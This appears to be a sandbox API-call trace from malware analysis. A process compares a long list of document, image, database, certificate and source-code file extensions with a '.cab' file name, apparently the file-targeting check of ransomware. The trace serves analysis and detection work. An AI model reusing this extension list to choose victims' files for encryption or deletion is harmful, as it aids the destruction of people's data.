[0043.342] lstrcmpiW (lpString1=".3g2", lpString2=".cab") returned -1 [0043.342] lstrlenW (lpString=".3gp") returned 4 [0043.342] lstrcmpiW (lpString1=".3gp", lpString2=".cab") returned -1 [0043.342] lstrlenW (lpString=".7z") returned 3 [0043.342] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.342] lstrlenW (lpString=".accda") returned 6 [0043.342] lstrcmpiW (lpString1=".accda", lpString2="LR.cab") returned -1 [0043.342] lstrlenW (lpString=".accdb") returned 6 [0043.342] lstrcmpiW (lpString1=".accdb", lpString2="LR.cab") returned -1 [0043.342] lstrlenW (lpString=".accdc") returned 6 [0043.342] lstrcmpiW (lpString1=".accdc", lpString2="LR.cab") returned -1 [0043.342] lstrlenW (lpString=".accde") returned 6 [0043.342] lstrcmpiW (lpString1=".accde", lpString2="LR.cab") returned -1 [0043.343] lstrlenW (lpString=".accdt") returned 6 [0043.343] lstrcmpiW (lpString1=".accdt", lpString2="LR.cab") returned -1 [0043.343] lstrlenW (lpString=".accdw") returned 6 [0043.343] lstrcmpiW (lpString1=".accdw", lpString2="LR.cab") returned -1 [0043.343] lstrlenW (lpString=".adb") returned 4 [0043.343] lstrcmpiW (lpString1=".adb", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".adp") returned 4 [0043.343] lstrcmpiW (lpString1=".adp", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".ai") returned 3 [0043.343] lstrcmpiW (lpString1=".ai", lpString2="cab") returned -1 [0043.343] lstrlenW (lpString=".ai3") returned 4 [0043.343] lstrcmpiW (lpString1=".ai3", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".ai4") returned 4 [0043.343] lstrcmpiW (lpString1=".ai4", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".ai5") returned 4 [0043.343] lstrcmpiW (lpString1=".ai5", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".ai6") returned 4 [0043.343] lstrcmpiW (lpString1=".ai6", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".ai7") returned 4 [0043.343] lstrcmpiW (lpString1=".ai7", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".ai8") returned 4 [0043.343] lstrcmpiW (lpString1=".ai8", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".anim") returned 5 [0043.343] lstrcmpiW (lpString1=".anim", lpString2="R.cab") returned -1 [0043.343] lstrlenW (lpString=".arw") returned 4 [0043.343] lstrcmpiW (lpString1=".arw", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".as") returned 3 [0043.343] lstrcmpiW (lpString1=".as", lpString2="cab") returned -1 [0043.343] lstrlenW (lpString=".asa") returned 4 [0043.343] lstrcmpiW (lpString1=".asa", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".asc") returned 4 [0043.343] lstrcmpiW (lpString1=".asc", lpString2=".cab") returned -1 [0043.343] lstrlenW (lpString=".ascx") returned 5 [0043.343] lstrcmpiW (lpString1=".ascx", lpString2="R.cab") returned -1 [0043.343] lstrlenW (lpString=".asm") returned 4 [0043.343] lstrcmpiW (lpString1=".asm", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".asmx") returned 5 [0043.344] lstrcmpiW (lpString1=".asmx", lpString2="R.cab") returned -1 [0043.344] lstrlenW (lpString=".asp") returned 4 [0043.344] lstrcmpiW (lpString1=".asp", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".aspx") returned 5 [0043.344] lstrcmpiW (lpString1=".aspx", lpString2="R.cab") returned -1 [0043.344] lstrlenW (lpString=".asr") returned 4 [0043.344] lstrcmpiW (lpString1=".asr", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".asx") returned 4 [0043.344] lstrcmpiW (lpString1=".asx", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".avi") returned 4 [0043.344] lstrcmpiW (lpString1=".avi", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".avs") returned 4 [0043.344] lstrcmpiW (lpString1=".avs", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".backup") returned 7 [0043.344] lstrcmpiW (lpString1=".backup", lpString2="lLR.cab") returned -1 [0043.344] lstrlenW (lpString=".bak") returned 4 [0043.344] lstrcmpiW (lpString1=".bak", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".bay") returned 4 [0043.344] lstrcmpiW (lpString1=".bay", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".bd") returned 3 [0043.344] lstrcmpiW (lpString1=".bd", lpString2="cab") returned -1 [0043.344] lstrlenW (lpString=".bin") returned 4 [0043.344] lstrcmpiW (lpString1=".bin", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".bmp") returned 4 [0043.344] lstrcmpiW (lpString1=".bmp", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".bz2") returned 4 [0043.344] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.344] lstrlenW (lpString=".c") returned 2 [0043.344] lstrcmpiW (lpString1=".c", lpString2="ab") returned -1 [0043.344] lstrlenW (lpString=".cdr") returned 4 [0043.344] lstrcmpiW (lpString1=".cdr", lpString2=".cab") returned 1 [0043.344] lstrlenW (lpString=".cer") returned 4 [0043.344] lstrcmpiW (lpString1=".cer", lpString2=".cab") returned 1 [0043.344] lstrlenW (lpString=".cf") returned 3 [0043.344] lstrcmpiW (lpString1=".cf", lpString2="cab") returned -1 [0043.344] lstrlenW (lpString=".cfc") returned 4 [0043.345] lstrcmpiW (lpString1=".cfc", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".cfm") returned 4 [0043.345] lstrcmpiW (lpString1=".cfm", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".cfml") returned 5 [0043.345] lstrcmpiW (lpString1=".cfml", lpString2="R.cab") returned -1 [0043.345] lstrlenW (lpString=".cfu") returned 4 [0043.345] lstrcmpiW (lpString1=".cfu", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".chm") returned 4 [0043.345] lstrcmpiW (lpString1=".chm", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".cin") returned 4 [0043.345] lstrcmpiW (lpString1=".cin", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".class") returned 6 [0043.345] lstrcmpiW (lpString1=".class", lpString2="LR.cab") returned -1 [0043.345] lstrlenW (lpString=".clx") returned 4 [0043.345] lstrcmpiW (lpString1=".clx", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".config") returned 7 [0043.345] lstrcmpiW (lpString1=".config", lpString2="lLR.cab") returned -1 [0043.345] lstrlenW (lpString=".cpp") returned 4 [0043.345] lstrcmpiW (lpString1=".cpp", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".cr2") returned 4 [0043.345] lstrcmpiW (lpString1=".cr2", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".crt") returned 4 [0043.345] lstrcmpiW (lpString1=".crt", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".crw") returned 4 [0043.345] lstrcmpiW (lpString1=".crw", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".cs") returned 3 [0043.345] lstrcmpiW (lpString1=".cs", lpString2="cab") returned -1 [0043.345] lstrlenW (lpString=".css") returned 4 [0043.345] lstrcmpiW (lpString1=".css", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".csv") returned 4 [0043.345] lstrcmpiW (lpString1=".csv", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".cub") returned 4 [0043.345] lstrcmpiW (lpString1=".cub", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".dae") returned 4 [0043.345] lstrcmpiW (lpString1=".dae", lpString2=".cab") returned 1 [0043.345] lstrlenW (lpString=".dat") returned 4 [0043.345] lstrcmpiW (lpString1=".dat", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".db") returned 3 [0043.346] lstrcmpiW (lpString1=".db", lpString2="cab") returned -1 [0043.346] lstrlenW (lpString=".dbf") returned 4 [0043.346] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".dbx") returned 4 [0043.346] lstrcmpiW (lpString1=".dbx", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".dc3") returned 4 [0043.346] lstrcmpiW (lpString1=".dc3", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".dcm") returned 4 [0043.346] lstrcmpiW (lpString1=".dcm", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".dcr") returned 4 [0043.346] lstrcmpiW (lpString1=".dcr", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".der") returned 4 [0043.346] lstrcmpiW (lpString1=".der", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".dib") returned 4 [0043.346] lstrcmpiW (lpString1=".dib", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".dic") returned 4 [0043.346] lstrcmpiW (lpString1=".dic", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".dif") returned 4 [0043.346] lstrcmpiW (lpString1=".dif", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".divx") returned 5 [0043.346] lstrcmpiW (lpString1=".divx", lpString2="R.cab") returned -1 [0043.346] lstrlenW (lpString=".djvu") returned 5 [0043.346] lstrcmpiW (lpString1=".djvu", lpString2="R.cab") returned -1 [0043.346] lstrlenW (lpString=".dng") returned 4 [0043.346] lstrcmpiW (lpString1=".dng", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".doc") returned 4 [0043.346] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".docm") returned 5 [0043.346] lstrcmpiW (lpString1=".docm", lpString2="R.cab") returned -1 [0043.346] lstrlenW (lpString=".docx") returned 5 [0043.346] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0043.346] lstrlenW (lpString=".dot") returned 4 [0043.346] lstrcmpiW (lpString1=".dot", lpString2=".cab") returned 1 [0043.346] lstrlenW (lpString=".dotm") returned 5 [0043.346] lstrcmpiW (lpString1=".dotm", lpString2="R.cab") returned -1 [0043.347] lstrlenW (lpString=".dotx") returned 5 [0043.347] lstrcmpiW (lpString1=".dotx", lpString2="R.cab") returned -1 [0043.347] lstrlenW (lpString=".dpx") returned 4 [0043.347] lstrcmpiW (lpString1=".dpx", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".dqy") returned 4 [0043.347] lstrcmpiW (lpString1=".dqy", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".dsn") returned 4 [0043.347] lstrcmpiW (lpString1=".dsn", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".dt") returned 3 [0043.347] lstrcmpiW (lpString1=".dt", lpString2="cab") returned -1 [0043.347] lstrlenW (lpString=".dtd") returned 4 [0043.347] lstrcmpiW (lpString1=".dtd", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".dwg") returned 4 [0043.347] lstrcmpiW (lpString1=".dwg", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".dwt") returned 4 [0043.347] lstrcmpiW (lpString1=".dwt", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".dx") returned 3 [0043.347] lstrcmpiW (lpString1=".dx", lpString2="cab") returned -1 [0043.347] lstrlenW (lpString=".dxf") returned 4 [0043.347] lstrcmpiW (lpString1=".dxf", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".edml") returned 5 [0043.347] lstrcmpiW (lpString1=".edml", lpString2="R.cab") returned -1 [0043.347] lstrlenW (lpString=".efd") returned 4 [0043.347] lstrcmpiW (lpString1=".efd", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".elf") returned 4 [0043.347] lstrcmpiW (lpString1=".elf", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".emf") returned 4 [0043.347] lstrcmpiW (lpString1=".emf", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".emz") returned 4 [0043.347] lstrcmpiW (lpString1=".emz", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".epf") returned 4 [0043.347] lstrcmpiW (lpString1=".epf", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".eps") returned 4 [0043.347] lstrcmpiW (lpString1=".eps", lpString2=".cab") returned 1 [0043.347] lstrlenW (lpString=".epsf") returned 5 [0043.347] lstrcmpiW (lpString1=".epsf", lpString2="R.cab") returned -1 [0043.347] lstrlenW (lpString=".epsp") returned 5 [0043.348] lstrcmpiW (lpString1=".epsp", lpString2="R.cab") returned -1 [0043.348] lstrlenW (lpString=".erf") returned 4 [0043.348] lstrcmpiW (lpString1=".erf", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".exr") returned 4 [0043.348] lstrcmpiW (lpString1=".exr", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".f4v") returned 4 [0043.348] lstrcmpiW (lpString1=".f4v", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".fido") returned 5 [0043.348] lstrcmpiW (lpString1=".fido", lpString2="R.cab") returned -1 [0043.348] lstrlenW (lpString=".flm") returned 4 [0043.348] lstrcmpiW (lpString1=".flm", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".flv") returned 4 [0043.348] lstrcmpiW (lpString1=".flv", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".frm") returned 4 [0043.348] lstrcmpiW (lpString1=".frm", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".fxg") returned 4 [0043.348] lstrcmpiW (lpString1=".fxg", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".geo") returned 4 [0043.348] lstrcmpiW (lpString1=".geo", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".gif") returned 4 [0043.348] lstrcmpiW (lpString1=".gif", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".grs") returned 4 [0043.348] lstrcmpiW (lpString1=".grs", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".gz") returned 3 [0043.348] lstrcmpiW (lpString1=".gz", lpString2="cab") returned -1 [0043.348] lstrlenW (lpString=".h") returned 2 [0043.348] lstrcmpiW (lpString1=".h", lpString2="ab") returned -1 [0043.348] lstrlenW (lpString=".hdr") returned 4 [0043.348] lstrcmpiW (lpString1=".hdr", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".hpp") returned 4 [0043.348] lstrcmpiW (lpString1=".hpp", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".hta") returned 4 [0043.348] lstrcmpiW (lpString1=".hta", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".htc") returned 4 [0043.348] lstrcmpiW (lpString1=".htc", lpString2=".cab") returned 1 [0043.348] lstrlenW (lpString=".htm") returned 4 [0043.349] lstrcmpiW (lpString1=".htm", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".html") returned 5 [0043.349] lstrcmpiW (lpString1=".html", lpString2="R.cab") returned -1 [0043.349] lstrlenW (lpString=".icb") returned 4 [0043.349] lstrcmpiW (lpString1=".icb", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".ics") returned 4 [0043.349] lstrcmpiW (lpString1=".ics", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".iff") returned 4 [0043.349] lstrcmpiW (lpString1=".iff", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".inc") returned 4 [0043.349] lstrcmpiW (lpString1=".inc", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".indd") returned 5 [0043.349] lstrcmpiW (lpString1=".indd", lpString2="R.cab") returned -1 [0043.349] lstrlenW (lpString=".ini") returned 4 [0043.349] lstrcmpiW (lpString1=".ini", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".iqy") returned 4 [0043.349] lstrcmpiW (lpString1=".iqy", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".j2c") returned 4 [0043.349] lstrcmpiW (lpString1=".j2c", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".j2k") returned 4 [0043.349] lstrcmpiW (lpString1=".j2k", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".java") returned 5 [0043.349] lstrcmpiW (lpString1=".java", lpString2="R.cab") returned -1 [0043.349] lstrlenW (lpString=".jp2") returned 4 [0043.349] lstrcmpiW (lpString1=".jp2", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".jpc") returned 4 [0043.349] lstrcmpiW (lpString1=".jpc", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".jpe") returned 4 [0043.349] lstrcmpiW (lpString1=".jpe", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".jpeg") returned 5 [0043.349] lstrcmpiW (lpString1=".jpeg", lpString2="R.cab") returned -1 [0043.349] lstrlenW (lpString=".jpf") returned 4 [0043.349] lstrcmpiW (lpString1=".jpf", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".jpg") returned 4 [0043.349] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.349] lstrlenW (lpString=".jpx") returned 4 [0043.349] lstrcmpiW (lpString1=".jpx", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".js") returned 3 [0043.350] lstrcmpiW (lpString1=".js", lpString2="cab") returned -1 [0043.350] lstrlenW (lpString=".jsf") returned 4 [0043.350] lstrcmpiW (lpString1=".jsf", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".json") returned 5 [0043.350] lstrcmpiW (lpString1=".json", lpString2="R.cab") returned -1 [0043.350] lstrlenW (lpString=".jsp") returned 4 [0043.350] lstrcmpiW (lpString1=".jsp", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".kdc") returned 4 [0043.350] lstrcmpiW (lpString1=".kdc", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".kmz") returned 4 [0043.350] lstrcmpiW (lpString1=".kmz", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".kwm") returned 4 [0043.350] lstrcmpiW (lpString1=".kwm", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".lasso") returned 6 [0043.350] lstrcmpiW (lpString1=".lasso", lpString2="LR.cab") returned -1 [0043.350] lstrlenW (lpString=".lbi") returned 4 [0043.350] lstrcmpiW (lpString1=".lbi", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".lgf") returned 4 [0043.350] lstrcmpiW (lpString1=".lgf", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".lgp") returned 4 [0043.350] lstrcmpiW (lpString1=".lgp", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".log") returned 4 [0043.350] lstrcmpiW (lpString1=".log", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".m1v") returned 4 [0043.350] lstrcmpiW (lpString1=".m1v", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".m4a") returned 4 [0043.350] lstrcmpiW (lpString1=".m4a", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".m4v") returned 4 [0043.350] lstrcmpiW (lpString1=".m4v", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".max") returned 4 [0043.350] lstrcmpiW (lpString1=".max", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".md") returned 3 [0043.350] lstrcmpiW (lpString1=".md", lpString2="cab") returned -1 [0043.350] lstrlenW (lpString=".mda") returned 4 [0043.350] lstrcmpiW (lpString1=".mda", lpString2=".cab") returned 1 [0043.350] lstrlenW (lpString=".mdb") returned 4 [0043.351] lstrcmpiW (lpString1=".mdb", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mde") returned 4 [0043.351] lstrcmpiW (lpString1=".mde", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mdf") returned 4 [0043.351] lstrcmpiW (lpString1=".mdf", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mdw") returned 4 [0043.351] lstrcmpiW (lpString1=".mdw", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mef") returned 4 [0043.351] lstrcmpiW (lpString1=".mef", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mft") returned 4 [0043.351] lstrcmpiW (lpString1=".mft", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mfw") returned 4 [0043.351] lstrcmpiW (lpString1=".mfw", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mht") returned 4 [0043.351] lstrcmpiW (lpString1=".mht", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mhtml") returned 6 [0043.351] lstrcmpiW (lpString1=".mhtml", lpString2="LR.cab") returned -1 [0043.351] lstrlenW (lpString=".mka") returned 4 [0043.351] lstrcmpiW (lpString1=".mka", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mkidx") returned 6 [0043.351] lstrcmpiW (lpString1=".mkidx", lpString2="LR.cab") returned -1 [0043.351] lstrlenW (lpString=".mkv") returned 4 [0043.351] lstrcmpiW (lpString1=".mkv", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mos") returned 4 [0043.351] lstrcmpiW (lpString1=".mos", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mov") returned 4 [0043.351] lstrcmpiW (lpString1=".mov", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mp3") returned 4 [0043.351] lstrcmpiW (lpString1=".mp3", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mp4") returned 4 [0043.351] lstrcmpiW (lpString1=".mp4", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mpeg") returned 5 [0043.351] lstrcmpiW (lpString1=".mpeg", lpString2="R.cab") returned -1 [0043.351] lstrlenW (lpString=".mpg") returned 4 [0043.351] lstrcmpiW (lpString1=".mpg", lpString2=".cab") returned 1 [0043.351] lstrlenW (lpString=".mpv") returned 4 [0043.352] lstrcmpiW (lpString1=".mpv", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".mrw") returned 4 [0043.352] lstrcmpiW (lpString1=".mrw", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".msg") returned 4 [0043.352] lstrcmpiW (lpString1=".msg", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".mxl") returned 4 [0043.352] lstrcmpiW (lpString1=".mxl", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".myd") returned 4 [0043.352] lstrcmpiW (lpString1=".myd", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".myi") returned 4 [0043.352] lstrcmpiW (lpString1=".myi", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".nef") returned 4 [0043.352] lstrcmpiW (lpString1=".nef", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".nrw") returned 4 [0043.352] lstrcmpiW (lpString1=".nrw", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".obj") returned 4 [0043.352] lstrcmpiW (lpString1=".obj", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".odb") returned 4 [0043.352] lstrcmpiW (lpString1=".odb", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".odc") returned 4 [0043.352] lstrcmpiW (lpString1=".odc", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".odm") returned 4 [0043.352] lstrcmpiW (lpString1=".odm", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".odp") returned 4 [0043.352] lstrcmpiW (lpString1=".odp", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".ods") returned 4 [0043.352] lstrcmpiW (lpString1=".ods", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".oft") returned 4 [0043.352] lstrcmpiW (lpString1=".oft", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".one") returned 4 [0043.352] lstrcmpiW (lpString1=".one", lpString2=".cab") returned 1 [0043.352] lstrlenW (lpString=".onepkg") returned 7 [0043.352] lstrcmpiW (lpString1=".onepkg", lpString2="lLR.cab") returned -1 [0043.352] lstrlenW (lpString=".onetoc2") returned 8 [0043.352] lstrcmpiW (lpString1=".onetoc2", lpString2="elLR.cab") returned -1 [0043.352] lstrlenW (lpString=".opt") returned 4 [0043.352] lstrcmpiW (lpString1=".opt", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".oqy") returned 4 [0043.353] lstrcmpiW (lpString1=".oqy", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".orf") returned 4 [0043.353] lstrcmpiW (lpString1=".orf", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".p12") returned 4 [0043.353] lstrcmpiW (lpString1=".p12", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".p7b") returned 4 [0043.353] lstrcmpiW (lpString1=".p7b", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".p7c") returned 4 [0043.353] lstrcmpiW (lpString1=".p7c", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pam") returned 4 [0043.353] lstrcmpiW (lpString1=".pam", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pbm") returned 4 [0043.353] lstrcmpiW (lpString1=".pbm", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pct") returned 4 [0043.353] lstrcmpiW (lpString1=".pct", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pcx") returned 4 [0043.353] lstrcmpiW (lpString1=".pcx", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pdd") returned 4 [0043.353] lstrcmpiW (lpString1=".pdd", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pdf") returned 4 [0043.353] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pdp") returned 4 [0043.353] lstrcmpiW (lpString1=".pdp", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pef") returned 4 [0043.353] lstrcmpiW (lpString1=".pef", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pem") returned 4 [0043.353] lstrcmpiW (lpString1=".pem", lpString2=".cab") returned 1 [0043.353] lstrlenW (lpString=".pff") returned 4 [0043.354] lstrcmpiW (lpString1=".pff", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".pfm") returned 4 [0043.354] lstrcmpiW (lpString1=".pfm", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".pfx") returned 4 [0043.354] lstrcmpiW (lpString1=".pfx", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".pgm") returned 4 [0043.354] lstrcmpiW (lpString1=".pgm", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".php") returned 4 [0043.354] lstrcmpiW (lpString1=".php", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".php3") returned 5 [0043.354] lstrcmpiW (lpString1=".php3", lpString2="R.cab") returned -1 [0043.354] lstrlenW (lpString=".php4") returned 5 [0043.354] lstrcmpiW (lpString1=".php4", lpString2="R.cab") returned -1 [0043.354] lstrlenW (lpString=".php5") returned 5 [0043.354] lstrcmpiW (lpString1=".php5", lpString2="R.cab") returned -1 [0043.354] lstrlenW (lpString=".phtml") returned 6 [0043.354] lstrcmpiW (lpString1=".phtml", lpString2="LR.cab") returned -1 [0043.354] lstrlenW (lpString=".pict") returned 5 [0043.354] lstrcmpiW (lpString1=".pict", lpString2="R.cab") returned -1 [0043.354] lstrlenW (lpString=".pl") returned 3 [0043.354] lstrcmpiW (lpString1=".pl", lpString2="cab") returned -1 [0043.354] lstrlenW (lpString=".pls") returned 4 [0043.354] lstrcmpiW (lpString1=".pls", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".pm") returned 3 [0043.354] lstrcmpiW (lpString1=".pm", lpString2="cab") returned -1 [0043.354] lstrlenW (lpString=".png") returned 4 [0043.354] lstrcmpiW (lpString1=".png", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".pnm") returned 4 [0043.354] lstrcmpiW (lpString1=".pnm", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".pot") returned 4 [0043.354] lstrcmpiW (lpString1=".pot", lpString2=".cab") returned 1 [0043.354] lstrlenW (lpString=".potm") returned 5 [0043.354] lstrcmpiW (lpString1=".potm", lpString2="R.cab") returned -1 [0043.354] lstrlenW (lpString=".potx") returned 5 [0043.354] lstrcmpiW (lpString1=".potx", lpString2="R.cab") returned -1 [0043.354] lstrlenW (lpString=".ppa") returned 4 [0043.355] lstrcmpiW (lpString1=".ppa", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".ppam") returned 5 [0043.355] lstrcmpiW (lpString1=".ppam", lpString2="R.cab") returned -1 [0043.355] lstrlenW (lpString=".ppm") returned 4 [0043.355] lstrcmpiW (lpString1=".ppm", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".pps") returned 4 [0043.355] lstrcmpiW (lpString1=".pps", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".ppsm") returned 5 [0043.355] lstrcmpiW (lpString1=".ppsm", lpString2="R.cab") returned -1 [0043.355] lstrlenW (lpString=".ppt") returned 4 [0043.355] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.355] lstrlenW (lpString=".pptm") returned 5 [0043.355] lstrcmpiW (lpString1=".pptm", lpString2="R.cab") returned -1 [0043.355] lstrlenW (lpString=".pptx") returned 5 [0043.355] lstrcmpiW (lpString1=".pptx", lpString2="R.cab") returned -1 [0043.355] lstrlenW (lpString=".prn") returned 4 [0043.355] lstrcmpiW (lpString1=".prn", lpString2=".cab") returned 1 